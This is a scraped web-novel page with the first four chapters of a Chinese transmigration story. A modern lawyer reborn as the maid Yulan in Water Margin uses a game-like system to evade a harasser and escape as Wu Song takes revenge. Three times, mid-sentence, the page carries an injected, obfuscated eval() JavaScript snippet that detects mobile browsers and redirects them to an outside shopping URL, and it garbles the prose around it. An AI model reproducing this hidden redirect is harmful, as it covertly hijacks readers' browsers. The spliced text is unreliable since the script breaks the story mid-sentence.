《[水浒]女帝从基层干起》 1. 第 1 章 “玉兰,玉兰!”阮进喊了两声,见屋内没有回音,打起门帘,斜身探头向里看去。 随着他的动作,光线泄入屋内,郁竺这才反应过来叫的是自己,连忙应了声“诶”。 来到这个世界不过一个时辰,她还暂未适应这个称呼。 “今天晚上,老爷宴请刑狱李大人,你可知道?”见郁竺在屋内,阮进放下门帘,侧身挤了进来。 “方才大人已经差人来说了。”郁竺看了眼阮进,低下头应是。 阮进不避讳地挤进屋,让郁竺有些不自在,但他丝毫没有发现郁竺的冷淡疏离似的,兀自又贴近了些,就差附在郁竺耳边了。 “我有个同乡在李大人府上做事,告诉我李大人在洛阳时,曾经和洛川先生有些交情,很是欣赏他的文才。” 说罢,阮进抱臂而立,轻挑起一边的眉毛,故作风流,像是在等待郁竺的反应。 然而对方并没有像自己预想的那样,露出感激的神色。 阮进暗道,这女子真是榆木脑袋,还得自己点明。于是,他状似耐心点拨,道:“今儿晚上你就唱朱洛川的词,可知道了?” “是。” 郁竺的回应就像一颗实心冷汤圆,阮进不得不梗起脖子,将它咽下去。 他不说话,郁竺也不说话,气氛一时有些沉默。 阮进被这沉默逼出了一些恼意,却又无处发泄。 半响,他终于想到了一个新话题来打破这个沉默:“你同我莫要害羞,我早晚求了老爷将你许配给我做妻子,这些微末的小事儿,我自然是要帮你打听着的。” 说罢,阮进得寸进尺地用手背蹭了蹭郁竺的手。 郁竺不动声色地往后退了一步:“多谢阮二哥,洛川先生的词我不算太熟,这会儿子还得练上一会儿。” 阮进何尝听不出郁竺话里的冷硬,脸色不算好看,又僵了一会儿,终于变换了下神色,略带轻佻地勾了勾唇角,转身离去。 郁竺没心情去揣摩他的脸色,只等他走远了,又赶紧掩上门扉。 现在是北宋政和六年(1116年)的十月十五,被她占据身体的这个少女名叫玉兰,是《水浒传》中孟州守御兵马张都监府上的养娘。 郁竺在脑子里盘着原主玉兰人生前十六年的记忆。 玉兰自幼孤苦一人,被卖到兵马都监张蒙方府上做了“养娘”,所谓养娘,其实就是女仆。 因容貌出色,声音婉转动听,张蒙方对玉兰青眼有加,是以玉兰的生活还算“滋润”——有宴席时唱唱小曲儿,偶尔给主人和贵客提供一下“服务”。 两个月前的中秋夜宴上,玉兰按照张蒙方的要求,在鸳鸯楼唱了苏学士的水调歌头,然后就被假意许配给一个叫武松的壮士。 夜里,玉兰按吩咐引得武松向后花园去,随后武松就被张蒙方以盗窃的罪名下了大狱。 之后,玉兰的生活又恢复到了原来的模式。 直到今天,郁竺占据了她的身体。 往后的事情,作为一个熟读四大名著的现代女青年,郁竺可谓倒背如流——张都监想在孟州大牢要了武松的性命,但是未果,押解期满六十日后,武松被刺配恩州。路过飞云浦时,押解的两个公人和蒋门神派来的杀手欲杀害武松,倒被武松一刀一个解决。 武松问出一切都是蒋门神和张都监的奸计,不由得怒从心上起,恶向胆边生,直奔回孟州城,大开杀戒,张都监、张团练、蒋门神,包括原身玉兰等十五人都死在武松刀下。 最后武松蘸血在墙上写道:杀人者,打虎武松也! 算算时间,今天好像已是武松在孟州牢房押解期满的日子,该上路了…… 郁竺不禁扶额,自己小镇做题家出身,重点大学毕业后,兢兢业业打拼十几年,好不容易刚成为顶级律所的合伙人,还没来得及大展拳脚,就在加班时猝然晕倒,然后,再睁眼已经在这里了。 “宿主,根据系统的资料查询服务显示,阮进所说的洛川先生是北宋末年著名词人朱敦儒,代表作有……” “我知道,不必说这个。”郁竺出言将脑中的那个声音打断,“让我继续看看刚刚的界面。” “好的,宿主。” 因阮进突然进入而关闭的主界面,又以一种类似于全息投影的方式显示了出来。 是的,阮进来之前,她就是在研究自身携带的这个系统。 按照这个自称“名将养成099号”的系统说法,它是来自高维世界的产物。 它们那个世界,有一群研究地球人类历史的学生,这群学生目前课题是“浅析个人能力出众的武将能否改变北宋末年军事格局”。 因此,他们需要一个参与实验者,重回北宋年间,来完成这项实验。 恰好郁竺猝然晕倒,濒临死亡,使得她的脑电波飘荡在外,被系统捕捉。 至于为什么没有将郁竺传送到那个历史上的北宋,而是选择了一个非常著名的平行世界——水浒传构建的北宋末年,系统的解释是,它的能量不够了,只能将郁竺送来这样一个“副本”。 郁竺从未想过穿书一事也能发生在自己身上,因此对于这样一个离谱的系统,给出的离谱的解释,她将信将疑。 “宿主只要完成系统的目标,攒够相应的能量,我就能修复你身体的损伤,将你传送回去了。”099号信誓旦旦地说道。 “修复损伤?我现在是个什么状态。” “目前你的身体还维持着基本的生理机能,但是脑电波已经消失了,简而言之就是植物人啦。”099话音一转,“不过宿主不用担心,你帮我们完成课题实验,我来帮你回到原来的世界,这是一种双赢呢!” 系统自带的声音是一种活泼的童音,虽然可能研发者随意设置的,但这让郁竺因为突然遭遇大变而有些忐忑的心情得到些许安慰,不过最令郁竺感到开心的事,她是有希望回去的。 于是她迫切地调开主界面,按照郁竺阅读网文无数的经验,这个系统放在小说里算是非常简陋了,只有简单的“功能”、“目标”、“兑换”三个主菜单。 郁竺迫不及待地点开“目标”栏,赫然显示着: 【达成目标:以一当十;奖励:100点】 【达成目标:虎口脱险;奖励:200点】 【达成目标:小胜一役;奖励:300点】 【达成目标:逆转战局;奖励:500点】 …… 直到最后 【封狼居胥10万点】 【勒石燕然10万点】 【问鼎中原10万点】 郁竺心下了然,果然是“名将养成”系统啊。 不过她最关心的还是…… 郁竺点了点“兑换”界面: 【七进七出(1次)500点】 【力拔山兮(1个月)1000点】 【百步穿杨(1个月)1000点】 【决胜千里(1次)2000点】 …… 不出意外,都是些武将的技能。 郁竺将界面直接拉到了最下面,终于找到了她想要的东西—— 【传送(1次)】 “系统,这个【传送(1次)】就是我兑换了之后,可以回到原本世界的东西吗?”郁竺有些激动地问。 得到099号的肯定回答后,郁竺反复翻了翻目标和兑换界面,发出了略带惊慌的疑问:“不对呀,这一个就要一百万点,我把所有的任务都完成了,也不够兑换啊?” “宿主,任务都是可以反复刷的!”099号解释道。 “那我一直刷最简单的不就可以了?”郁竺开始在心里默默计算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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【人物属性一览】 点开背包,愣了一两秒,郁竺哈哈笑出了声——果然,系统虽然拉胯,还是赠送了新手大礼包。 【迷魂香×3、金钟罩×3、金创药×3】 郁竺看着背包里的东西,问道:“这个迷魂香就是我想的那样吗?” “是的宿主,使用后可以使20平方米内的人、动物陷入自己的幻觉中。” “怎么使用,要提前取出来吗。” “不用的宿主,您只要在需要使用的时候,心中默念就可以了。” “那行,任何时候都可以吗,你不会关机吧。”郁竺有些不放心系统。 “放心好了宿主,我一直都在待机状态,能量不够关机的话会提前两天预警,现在的能量还够支撑半年有余。”系统说罢,又补充道,“但是,如果宿主一直没有行动,无法完成任务获取能量,我能量耗尽就会关机了哦。” 郁竺听后心中大定,半年时间对于她来说,使一些小手段,要完成一些任务维持系统能量还是不难的。 只是……郁竺又看了看那个【传送】,要达成一百万点的目标,光使些小手段是肯定不够的,只是她一介女子,在这个妇女地位底下的时代,要如何干成那些惊天动地的大事呢? 郁竺一时有些犯了难。 不过,她这个人最不怕的就是困难,想当初,没有家庭背景的她,不也是从不被众人看好的小镇女孩,一路打拼,成为了帝都顶尖律所最年轻的合伙人么。 从逆境中向上攀爬,反而是郁竺这三十多年人生中,最为熟悉的、最为常见的一种状态。 “既然如此,有系统开挂和先知的优势,我未必不能像爽文男主那样,在古代开创一番事业。”郁竺捏紧拳头,指甲微微嵌入掌心,心潮澎湃。 “玉兰,玉兰!”尖细的女声传来,将郁竺从打鸡血的畅想中唤回现实,“大人说了,晚上要穿这件,务必打扮好看些。” 2. 第 2 章 看着刚刚张都监命人送来的衣服,郁竺皱起了眉头。 这是一整套服装,上衣的褙子和抹胸,下裳的罗裙。 褙子的颜色很美,像晨雾中的青烟。抹胸的颜色比外罩的褙子略深一些,胸口的位置有精致的刺绣,勾勒出了花朵形状。 这是现在歌伎间时兴的装扮,内穿一件抹胸,外罩一件褙子,衣襟敞开,不施衿纽,别有一种风流的美感。 郁竺已经可以想象,这套衣服,穿在现在这具身体上,会是怎样的妩媚风情了。 于是她拿起烛台,毫不犹豫地在抹胸精致的刺绣上烧了个洞。 玉兰原本的生活是什么样的,继承了她记忆的郁竺心知肚明,但这并不代表郁竺可以毫无心理负担地做着一样的事情。 横竖在张都监府也待不了几天了,郁竺不想委屈自己。 夜幕很快降临,郁竺从衣柜里翻出一件绛紫色的大袖衫套上,铅粉也没有扑,随意戴了些首饰,按照记忆里的路线,趁着月光来到鸳鸯楼。 这是郁竺第一次近距离观察水浒传中这座著名的建筑。 鸳鸯楼是一座两层小楼,台基甚高,翘角飞檐,华丽无比,所有的窗棂上的均以鸳鸯图案点缀,故称鸳鸯楼。 可惜不日后,这里就要血溅四壁,尸体横陈。 想到这里,郁竺不由得心里犯嘀咕,武松会杀回来这件事,就像悬在她头顶的达摩克利斯之剑,纵使她水浒传的剧情都已了然于胸,可是这剑一日悬而不落,她就一日难以安枕。 况且,书中很多细节没有详尽描写——比如孟州往返飞云浦到底需要几日,武松是不是六十日满立即就刺配恩州了…… 这些郁竺都没有明确的概念,所以她没法确认“血溅鸳鸯楼”发生的具体时间。 不过眼下可以确认的是,武松杀来那天,张都监在宴请张团练、蒋门神二人,所以,至少不是今天。 行至二楼,张都监和李刑狱早已酒酣耳热。屋内烛光摇曳,空气里弥漫着酒菜的味道。 李刑狱醉眼朦胧,甚至都没发现来了个歌女,只顾着与张都监推杯换盏。 张都监余光瞥见郁竺,大手一挥,指了指角落,郁竺心领神会,知趣地抱着琵琶,猫着腰走到角落里坐下。 “诗万首,酒千觞。 几曾着眼看侯王。 ……” 凭着玉兰的记忆中的调子,郁竺咿咿呀呀唱了起来。 宋代的词和音乐是一体的,每一个词牌都有对应的曲谱,《鹧鸪天》是有名的词牌之一。 此时流行的词牌,有七八十首,但并不是每个歌伎的都能掌握所有的词牌。 不得不说,玉兰的专业素养还是相当出色的,会唱的词牌竟有五十多首。 熟悉的唱词,伴随着清泉般的声音淌到耳朵里,李刑狱的酒意都清醒了几分。 他颇有些兴趣地抬起头打量了眼郁竺,却发现姿色尔尔,装扮也有些俗气,微不可查地摇了摇头。 张都监见状,也顺着李刑狱的目光向郁竺看去。 先前酒意正浓,他还不曾仔细看,这会儿才发现郁竺穿的并不是自己送去的那件衣服,一时间有些意外,眉头不自觉地蹙了起来。 俗话说,人靠衣装马靠鞍,没了妆点的郁竺,又穿了件深色的衣服,整个人坐在角落里,显得灰扑扑的,连平日里漂亮的脸蛋儿,此刻都显得黯淡无光了起来。 张都监顿时面色不虞,觉得郁竺此举有些失了自己的面子,只是碍于有客人在此,不便发作,一曲唱罢就冷冷地吩咐郁竺退下。 倒是李刑狱出言制止:“众多《鹧鸪天》词作中,晏小山之作尤为歌姬们所钟爱,竞相传唱,蔚然成风。你这位养娘,却能吟洛川的妙词,倒是有些才情韵味,不妨就让她在此随心吟唱几曲。” 贵客都如此说,张都监自然不会不允,郁竺就这样留了下来。 这个小插曲过后,郁竺便未再引起两位的注意,张都监和李刑狱转而谈起了正事。 听得他们的谈话,郁竺渐渐有些明白一二,这位李刑狱的职务,是京西北路的提点刑狱公事。 宋代地方行政级别分为三级,最高一级的是路,第二级是府、州、军、监,第三级才是县。 孟州现在就隶属于京西北路。 这位李刑狱,作为张都监的上官,负责的就是整个京西北路的司法事务。 张都监果然是想安排人,在刺配路上要武松性命,又担心上头追查起嫌犯为何半路而亡,提前和上官打个招呼。 李刑狱起初连连推辞,说人命关天,岂能儿戏,让张都监还是断了这番心思。 随后张都监悄悄塞了不知什么东西,李刑狱看见,顿时眉毛胡子都扬了起来,半推半就,同意对此事睁一只眼闭一只眼。 酒意渐浓,郁竺见二人都喝到兴头上,有些迷糊了,悄然告退。 月挂中天,当整个都监府照得沉静如水。 郁竺趁着月色回屋,边走边构思起自己的行动计划。 按照张都监的动作和大体上的时间推算,武松回来复仇已指日可待。 既然能预知一些事情,想要躲过被武松一刀搠进心窝的结局倒是不难。 只是郁竺还想借助武松回来寻仇这件事,脱离都监府。 沉浸在自己的思考中,郁竺回到了自己的小院。 刚推开屋门,一个身影突然从背后紧紧抱住了她。 郁竺还未来得及惊声尖叫,一个油腻的声音就在耳边响起:“好妹妹,休要出声,是哥哥我呢。” 抱住她的人正是阮进。 郁竺差点吓飞的魂魄,稍稍落了地。 本想转身给这个登徒子一巴掌,但突然之间,她计上心来,再抬眼时,语气已经变得柔和起来:“二哥,在院子里这么急匆匆的做什么,我们还是进屋再说吧。” 听郁竺这么说,阮进喜上心头,这是有戏了! 自己的消息,要是真的让这丫头今晚在大人面前得了脸,那这丫头再怎么不识好歹,都得感谢他! 果然女人的心思,他还是一猜即中。 阮进暗自窃喜,嘴角的笑意已经压不住,口中却还念叨着:“妹妹说的是,瞧我这榆木脑袋,夜深露重的,在外头做什么,还是屋里好,屋里暖和啊!” 刚进屋,尚未来得及点灯,阮进就迫不及待地伸手去拉郁竺,未等郁竺反应,他已猴急地将她压在榻上,呼吸都粗重起来。 郁竺心中冷笑,面上却不露声色,她轻轻闭上眼,仿佛在“享受”一般,实则默念:“系统,使用迷魂香。” 果然,一阵异香飘起,迅速弥漫了整个房间,身上压着的男子瞬间瘫软了下去。 郁竺嫌弃地将他推到一边,从床上起来,点起烛灯,打水净了手和面。 昏黄的灯光下,阮进已然进入了自己的幻境,他哼哼唧唧地说着些含糊不清的话,不一会儿身体竟然开始不自觉地扭动起来,像猪一般一拱一拱的。 郁竺瞬间明白了他在干什么,一把抓住阮进的衣领,将他像拖死狗一般拖到地上。 被摔了这么一下,阮进竟也没醒,继续做着自己的美梦。 有这么个人在屋内,横竖今晚是不要想睡觉了。 郁竺摇了摇头,不再理会他。 原身玉兰不通文墨,郁竺在屋内翻了半天,终于在妆奁下找到了一套没使用过的笔墨纸砚,那墨块色泽深邃,散发着淡淡的墨香,显然是上好的佳品,应该是别人赏赐给她的。 郁竺心中暗自庆幸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022609|148727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,多亏小时候在学校组织的兴趣班练习过软笔书法,工作后,闲暇时间也一直爱写写字,还曾拿过律师协会书法比赛的一等奖。在这个时代,她的字虽说离大家还差得远,但至少工整漂亮。 方才在路上,她就一直在想,囿身于这小小的四方天地,她能利用的还有什么呢?无非就是自己的先知。 一个计划在郁竺心中初具雏形,磨好了墨,她就奋笔疾书起来。 修改了若干遍,加上系统一直在帮忙核对遣词造句有无超越时代语境,以免露出破绽,两个时辰之后,郁竺终于完成了自己的“大作”。 将写废的纸烧掉,郁竺又反复诵读了几遍最终的成稿,满意地将纸对折再对折,然后装在牛皮袋里,用针绞好封口。 地上的阮进扭动着身体,似乎正试图从梦境边缘挣脱出来。郁竺见状,知道迷魂香的药效差不多到时间了,直接上手,左右开弓,扇了他两个耳光。 阮进猛得转醒,睁开眼,感觉两颊火辣辣的,正要发火,却看见郁竺姣好的面庞,笑盈盈的,当即被浇了一盆凉水似的,火气一下子就消了。 “二哥可真是的,干什么非要睡地上,叫也叫不醒。一会儿天都快亮了,这要是还不走,被人发现了可怎么办。”第一次用这样发嗲的语气,郁竺自己先起了一身鸡皮疙瘩。 阮进一听这话,昨晚的“美好回忆”瞬间涌上心头,连忙起身,拍了拍身上的尘土:“妹妹说的是,不急这一时,等我寻了空再来找你。” 郁竺见阮进这副模样,心中冷笑不已,但表面上却装作一副温柔体贴的样子,喊住了正欲拔腿跑路的阮进:“欸,二哥,等一下。” “怎么了,我的好妹妹。”阮进心里犯嘀咕,心想这丫头别是真要自己去求了老爷,将她许配给自己,自己深得老爷器重,自然是前途似锦,她是什么身份,哄哄她的话,竟然当了真。 “今后老爷宴请谁,二哥还像这样,白天的时候提前告诉我可好。” 听见郁竺提的要求,阮进先是一愣,随即松了一口气。 他还以为郁竺会提出什么过分的要求呢,原来只是想知道老爷宴请的宾客。 这对他来说,根本就不是什么难事,而且,他还认为这是情理之中——这丫头此次尝到了甜头,方才明白自己这伺候老爷左右的人的重要性——随便透露一点消息给她,都足以让她受益匪浅。 所以她才会这般求着自己。 “这不是什么难事,你且放心。”阮进满口答应下来,他还想着下次和郁竺“再续前缘”呢,自然不会拒绝这个小小的要求。 说完,他便迫不及待地一溜小跑离开了房间。 弄走了阮进,郁竺换了床被子,雄鸡已经开始打鸣,下人们陆续起床,开始一天的忙碌。 郁竺熄了灯,将被子蒙在脸上,倒头补觉。 在这个时代,平民百姓大多遵循着日出而作、日落而息的自然规律,无他,只为省些灯油钱。 然而,对于身为官僚阶层的张都监来说,这样的生活规律自然是不适用的。 他有的是厚重的帘幔,可以将清晨的第一缕阳光完全隔绝在窗外;有的是璀璨的灯烛,可以将夕阳的余晖延续到厅堂的每一个角落。 因此,他每天都可以纵情酒色,直至深夜,而此刻对他来说,仍然是好梦未醒的漫长夜晚。 郁竺在这两天里,也不得不跟随着这样的生活节奏,过着昼夜颠倒的“好”日子。 然而,她的心中却始终惦记着武松到了哪里,不甚踏实。 阮进来找过一次,被郁竺以来了葵水不方便的借口搪塞了过去。 政和六年,十月十八日。 下午,阮进再一次来郁竺的小院,这次,带来的是她想要的消息。 3. 第 3 章 “晚上大人要宴请张团练和蒋门神。”阮进倚在门框上,故意摆出一副风流倜傥的样子道。 虽然他知道这两位是张都监的老熟人,也不指望郁竺会因为他的这次通风报信而记他的人情,但他绝不会放过任何一个能来找郁竺的机会。 然而,让阮进出乎意料的是,郁竺的脸上竟然闪过一丝惊喜的神色,但很快就消失了。这让他不禁怀疑自己是不是看错了。 果然,郁竺接着说道:“这两位都是老爷的故交了,兴许听我唱曲儿都听腻了。好哥哥,你替我向老爷告个假,就说我身子不爽,好不好?” 阮进听了这话,不由得皱了皱眉,心想,这丫头竟然敢使唤我,要是老爷为此不高兴了,岂不是要怪罪到我头上? 正要拒绝,郁竺却轻声说道:“次次都在屋里见面也不方便,晚上我在后花园的马院等二哥吧。” 阮进闻言,瞪大了眼睛,不可思议地看着郁竺,心想,这丫头竟然为了和我私会,连老爷的差事都推了。 思及此处,阮进心中不禁有些飘飘然,于是满口答应了下来。 “我戌时到,二哥不要早了,也不要晚了。”郁竺像是有些不放心,反复叮嘱着阮进。 阮进自然是满口应承,不在话下。 阮进走后,郁竺开始收拾金银细软和逃走需要的包袱。 太过笨重的不能带,花哨的也不实用,翻来翻去,这个“玉兰”着实也没有太多值钱的物品,所谓被张都监所“心爱”,不过是一场虚无缥缈的繁华,仿佛一个随玩随丢的小玩意儿。 虽然早就知道玉兰是什么身份,郁竺还是忍不住为她感慨,最后,她就是为了这样一个“主人”,稀里糊涂送了命。 轻叹一声,郁竺为那个原本名叫玉兰的女子点了一炷香,算是祭奠她早已消散的灵魂。 然后,郁竺将翻出来的两支金钗掰弯压扁放进包袱,又将牛皮袋仔细检查了一番,藏在了衣袖的深处。 这袖袋是她特意改造过的。 原本郁竺想学府里的下人那般,穿个轻便的窄袖,将牛皮袋揣在怀里。可是这样,从衣服外就能看出牛皮袋的形状,太过显眼。 于是她不得不穿了一件大袖衫,还将原本靠近袖口的袋子拆下来,缝制在了胳膊肘附近的地方。 袋口斜朝上方,郁竺只固定了袋口,不固定袋底,这样无论胳膊怎么摆动,口袋都会自然下垂。 牛皮袋放在这里,最安全不过。 忙完这一切,郁竺开始强迫自己闭目养神。 心里装着事情,很难入睡,但是晚上的事情需要养精蓄税。 再睁开眼,天色已经暗了,郁竺看了眼更漏,耐心等到酉时三刻,这才悄悄地推开房门,步入夜色之中。 已近寒月下旬,天黑得早,不一会儿如墨的夜色就覆盖了整个都监府,唯有鸳鸯楼那片区域灯火辉煌,与周遭的黑暗形成鲜明对比。 初升的下弦月,清辉勉强穿透天幕,斑驳地洒在都监府的每个角落。 借着微弱的月光,郁竺小心翼翼地穿梭在阴影中,靠着着记忆中的路径,悄然摸到了后花园的马院。 门虚掩着,没有关上。 她绕着马院走了一圈,仔细审视着周围的环境。 马院北面的墙紧挨着后花园的墙壁,两者之间仅隔着一条狭窄的通道,宽度不足两米。若要从院外翻墙入内,这里无疑是最佳的选择。 联系书中的情节,武松应该就是从这里进入都监府,等到一更四点,先杀了一个后槽,问明张都监所在,然后一路杀到鸳鸯楼。 一更四点,换算成现在的时间,就是晚上八点半左右。 时间紧迫,郁竺顾不得脏,飞快地从马院里抱了些干草枯枝,密密地铺在这处狭窄的通道上,仿佛在编织一张隐形的网,等待着猎物的降临。 只不过,她要“捕获”的“猎物”,比景阳冈的猛虎还要厉害几分。 铺设完毕,她跳上去试了试,确保人落在上面后会发出清晰的“咯吱咯吱”声。 接着,郁竺就近找了处隐蔽的地方,将逃跑用的包袱藏好。 一切准备就绪后,她回到了马院,将角门从里面拴上。 关上的角门,仿佛将这片刻的安宁与即将到来的危险隔绝了开来。 然而郁竺知道这不过是虚幻的慰藉,她坐在院里的石凳上,凝视着前方的黑暗,手心出汗。 “金钟罩也是像迷魂香那么个用法吧?”虽是在心里演练了多遍,郁竺忍不住再一次向系统确定,以寻求一种安慰——她需要系统的新手大礼包作为自己生命安全的底线保障。 得到系统的肯定回答后,郁竺稍稍宽了心,深吸了几口气,外面更鼓声响起,戌时到了。 更鼓的声音逐渐消散在夜风中,紧接着,“笃笃”两声,角门被人敲响。 郁竺心下大定,打开门,印入眼帘的正是阮进那张急切的脸。 未等郁竺说话,他就急不可耐地挤了进来,转身飞快拴上门,正欲一把抱住郁竺,却被轻轻一推,两人隔开了一臂的距离。 阮进正疑惑,却看见如水夜色下,郁竺的面容如月亮般皎洁美丽,不由得心里一热。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022610|148727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>只见郁竺嘴角挂着盈盈笑意:“二哥莫急,今晚虽非满月,但月色同样迷人。我特地备下了好酒,愿与二哥共赏月色,品酒谈心。” 说罢主动牵起阮进的手,往院中石桌处拉去。 阮进本也是爱附庸风雅之人,就是觉得“玉兰”不同于府内其他的婢女那般庸脂俗粉,才对她情有独钟。 今日有机会和美人品酒赏月,这般风雅之事,他自然是乐得,连心中那股原始的欲望都被这份雅致压制了几分。 他被郁竺牵着,软脚虾一般跟在她身后,满眼都是女子摇曳的腰肢和裙摆,耳朵里却突然传来郁竺的声音:“我读苏学士的《雨霖铃》,觉得那杨柳岸晓风残月的场景,不过就是现在这样了。” 阮进停了下来,皱起了眉头。 他自认风雅饱学之士,听到郁竺话里这般低级错误,哪里还忍得住不纠正,当下竟然连那绮丽的心思都消去了一二分,存心卖弄道:“你们只知道唱,却不解其意,可知苏学士词风最是豪放不羁,这分明就是白衣卿相柳三变的词。” 郁竺故作惊喜地瞪大眼睛,道:“哎呀,平日里只晓得唱,哪里懂得那么多,二哥竟然这般博学。” 女子语气中的崇拜,让阮进更加飘飘然,此时他已经将来意忘了七八分,一心想要好好表现,让这丫头知道他的才高八斗:“你且听好,今日我便好好教一教你,话说这白衣卿相……” 郁竺一边给阮进斟酒,一边听着阮进将柳永那些耳熟能详的典故翻来覆去地说,心下并无任何不耐烦,她本来就是为了拖延时间,阮进讲得越来劲越好,还省得她废心思应付。 于是,在郁竺那恰到好处的捧哏与提问下,阮进竟不知疲倦地讲了半个时辰之久,一副要将自己所有的“才情见识”都倾泻而出的架势。 郁竺坐在一旁,脸上始终挂着笑意,时不时提醒阮进声音放低些。 因为,她的另一只耳朵始终支着,试图捕捉着院外的一丝动静。 月上中天,只有偶尔传来的夜鸟啼鸣和微风拂过树叶的沙沙声。 郁竺越等,心里越焦躁。 生死攸关,焦虑与期待交织在一起,她简直坐不住,偏偏面上又不能表现出来,只能继续陪着笑脸。 就在这时,一阵细微的窸窸窣窣声从院外的干草堆上传来,那声音虽然微弱,但在寂静的夜晚中却显得格外清晰。 阮进正沉浸在滔滔不绝的讲述中,对那细微的声音并未在意。 郁竺却一下子打起了精神。 这是她等了一晚上的关键时刻。 武松来了。 4. 第 4 章 “啪!”一声,口若悬河的阮进,被郁竺这突如其来的一巴掌扇得瞬间呆立当场,眼中满是惊愕与不解。 未等他发作,只见郁竺义愤填膺,大声道:“无耻小人,你们骗我当枪使,将那英雄好汉下了大狱不说,还想害了人家性命!可怜那武松,堂堂打虎英雄,不过是为恩相出一口气,竟落得如此凄惨下场,你们良心何在!” 阮进被这一巴掌扇得耳边嗡嗡作响,又被郁竺连珠炮般袭来的话,说得云里雾里。 愣了半天,才反应过来,恨恨地挤出一句:““好啊!你这下贱胚子,竟然对那贼配军动了情了?我说呢,怎么近日总找我打听老爷行踪!可惜啊,我告诉你,四个打一个,就算他有十条命,今晚也休想活着离开!” 郁竺不禁在心里给阮进鼓掌,他这番话恶意满满,却意外地贴合了自己的计划,简直是神来之笔,效果远超预期。 话音刚落,马院的角门就呀呀得响了起来,声音十分急促。 阮进以为是那后槽归来,心中暗自懊恼好事被搅,又平添挨一记耳光,暗道晦气,转身大步流星朝角门走去。 他一把抓过门边的搅草棍,愤愤地拨开门口散落的干草,用力拔下门闩,正欲开门,不料那门却从外面被一股巨大的力量猛地撞开,直撞得阮进一个踉跄。 昏暗的夜色下,明晃晃的一把刀,阮进借着刀刃反射的微光,终于看清了来者的面容——正是那本该死在飞云浦的武松。 惊叫声还未出口,武松的动作却比他更快,手起刀落,朴刀准确无误地削去了阮进的头颅。 献血喷射而出,高达十几米,最终溅落在四周的泥土与草叶上。 武松一脚狠狠踢过阮进的尸首,那具无头的躯体在地上翻滚了几圈,血还在汩汩往外冒着,浸湿了武松的鞋袜。 武松却浑不在意,大步迈进院内,环顾四周,低声道:“玉兰,你且出来,我不杀你。” 郁竺在阮进去开门时,就将自己藏在了干草堆后面,这会儿听见武松的声音,方才爬了出来,摆出一幅受惊不小的表情:“好汉,是人……是鬼?” 武松闻言,竟笑出声:“是人如何,是鬼又如何?就是做鬼也不能放过了那仇人!你只管实话实说,张都监如今在哪里?” “正和张团练、蒋门神在鸳鸯楼吃酒呢。”郁竺如实相告。 武松听后,拔腿就走,郁竺连忙上前劝道:“好汉要报仇,也要顾及自身,若是兀自去寻仇,还不曾走到鸳鸯楼就被捉住了,可怎么好?” 说罢,她下定决心似的走到离武松近些的地方,尽量不看脚下那具令人毛骨悚然的尸首,道:“这厮平日里一直觊觎我,今日英雄替我结果了他,玉兰感激不尽。我愿带英雄前往鸳鸯楼,好报了英雄这一番恩情。若是路上遇到什么人,我也能将他们引开了。” 武松见郁竺说得也有道理,便不再多言,转身向院外走去。 郁竺见状,趁武松不注意,从袖袋里摸出那个牛皮袋,悄悄塞到阮进尸身的怀里,随后,也紧跟上武松的脚步。 此时已是酉时,灯火尽数熄了,府里已没有什么人在走动。 夜色深沉,两人一前一后,在寂静无声的庭院中穿行,很快就到了鸳鸯楼边。 郁竺指着那胡梯,对武松道:“英雄且从这处上去,动作需得干净利落,切莫留下任何痕迹。我自有周全之策,定不会让英雄因此事身陷囹圄。” 武松深深看了眼郁竺,仿佛在衡量她话中的真伪,随即颔首,身形一转,蹑手蹑脚朝楼上摸去。 鸳鸯楼上,武松两刀解决了蒋门神和张都监,又与那张团练过了两招,张团练的头颅也滚落在地。 手刃完仇人,武松心下痛快,见桌上有酒肉,拿起酒盅一饮而尽,又往嘴里塞了些肉,这才将搜罗到的金银酒器踏扁了,揣在怀里,正准备下楼,却听到楼下夫人声音叫道:“楼上官人们都醉了,快着两个上去搀扶。” 武松心中一横,正要提刀,却听见郁竺的声音传来。 “夫人,大事不好了!”郁竺的声音带着几分慌张,“阮进那厮竟诬陷老爷与辽贼有勾结,还拿着什么所谓的书信要去报官,幸得老爷他们及时发现,此刻正在书房盘问呢。” 张督监平日鲜少与夫人谈论这些公事,故而张夫人对此类事情知之甚少。一听郁竺此言,她顿时脸色煞白:“这可如何是好呀?这事儿可还有其他人知晓? 郁竺见状,心下大定,面上却依旧摆出急切之色:“应该是没有的,夫人莫急,还是先去书房看看老爷罢。” “你说得是。”张夫人心急如焚,来不及思考郁竺话中的漏洞,领着两个亲随和婢女,便急匆匆地往书房方向赶去了。 待张夫人一行人的身影消失在视线中,郁竺轻轻敲了敲身旁的胡梯,示意武松。 武松从楼上轻声走了下来,郁竺见状,低声对他道:“待他们到了书房,定会察觉到事情的不对劲,此地不宜久留,我们还是快走吧。” 武松点了点头,却又似想起了什么,目光转向郁竺,问道:“我这走了,你又要如何自处?” 郁竺苦笑一声,坦率相告:“发生了这事儿,夫人迟早会回过味来,这里我是万难久留了。好汉若不嫌弃,不妨带我一起走吧。” 武松闻言,略一思索,并未推却。 